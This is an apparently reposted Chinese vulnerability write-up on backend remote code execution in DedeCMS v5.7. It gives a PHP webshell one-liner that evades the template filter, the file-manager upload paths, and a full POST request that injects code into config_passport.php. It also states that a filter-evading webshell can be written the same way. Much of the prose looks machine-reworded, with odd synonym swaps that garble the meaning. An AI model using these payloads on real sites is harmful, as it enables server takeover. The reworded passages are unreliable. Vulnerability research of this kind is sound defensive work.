下载地址
https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230223.zip
利用小皮支配,www目录下放源码,利用phpstrom进行动态调试即可

初始化数据库配置安装
安装完成
RCErce-模板文件绕过正则实现rce
代码位置
uploads/dede/article_string_mix.php
修正模板文件
<?php$a = $GLOBALS["_GET"];$b = $GLOBALS["_GET"];$a['value1']($b['value2'])?>
文件存储路径
uploads/data/downmix.data.php
访问模板文件测试shell
剖析
看到在29行的时候对文件内容利用正则表达式进行了校验
在31行到33行是对diasble的方法做了定义,循环是对文件内容是否利用了disablefunction进行了校验,如果传入的内容含有disable的方法则返复书息DedeCMS提示:当前页面中存在恶意代码,当文件内容为一句话
返复书息如下
无法绕过循环,当文件内容为
<?php$a = $GLOBALS["_GET"];$b = $GLOBALS["_GET"];$a['value1']($b['value2'])?>
的时候这里是可以绕过代码后真个校验内容,debug往下跟
在这里对文件内容做正则匹配
连续向下跟进直接写入文件了,导致rce
以是这里针对模板文件修正实现RCE的话,只要绕过循环以及正则就可以实现,以是免杀马的话就没有问题。
文件上传RCE
/uploads/dede/file_manage_main.php /uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads/uploads/dede/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
检索ctrl+shift+f
rce-配置文件实现rce
前端修正配置文件导致rce,这里实在可以比拟5.7的不同小版本,在106这个版本前后比较明显,在106版本之前,根据fwrite()检索
路径uploads\dede\sys_info_mark.php,前端
修正配置直接写入
配置文件/mark/inc_photowatermark_config.php
这里\被转义为\\测试创造106之前的版本都是没问题的。由于106版本在代码位置多了转义增加了一个反斜杠
在版本106以及107中,在参数配置文件中同样做了增加反斜杠的代码部分,参数转义后的参数值如下图
在35行添加了反斜杠,但是在106版本之前依旧可以实现后端RCE
/dede/sys_info.php
在106版本之前,该位置无函数addslashes
以是在这里直接修正配置参数
可直接实现rce
http://dedecms.org:9999/uploads/data/config.cache.inc.php
但是通畅证配置的功能在106版以及最新的107版中并未利用addslashes()函数对参数值进行添加反斜杠,路径为
/uploads/dede/sys_passport.php
中的代码并未做任何加固以及补丁,利用BC比拟
两端代码同等,利用payload进行debug剖析
POST /uploads/dede/sys_passport.php HTTP/1.1Host: dedecms.org:9999User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 162Origin: http://dedecms.org:9999Connection: closeReferer: http://dedecms.org:9999/uploads/dede/sys_passport.phpCookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=eh4uq681vd4m4cpf0c1jv6q7td; _csrf_name_a20d95d7=9a1330d9413d7550843ea533405a9908; _csrf_name_a20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNG=ec2abc545b3af7e5; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=1442494cd39124c2; DedeLoginTime=1680536871; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=941cc93ac807533a; XDEBUG_SESSION=XDEBUG_ECLIPSEUpgrade-Insecure-Requests: 1dopost=save&edit___cfg_pp_encode=FwCCr9938B&edit___cfg_pp_login=d&edit___cfg_pp_exit=t%5C&edit___cfg_pp_reg=%3Bphpinfo%28%29%3B%2F&imageField.x=36&imageField.y=4
保存成功echo后要求配置文件
http://dedecms.org:9999/uploads/include/config_passport.php
这里直接写入一句话实现RCE即可。
在这里实在比拟在rce- 配置文件实现rce开头的位置路径uploads\dede\sys_info_mark.php的剖析可以创造这个位置在输入参数内容存在反斜杠的时候由于函数stripslashes删掉了一个反斜杠,以是终极的配置文件内容为
stripslashes()函数的浸染
运行实例
小结
供应一些发散的思路吧,后真个RCE的利用基本都可以环绕这两点。
from https://sec-in.com/article/2167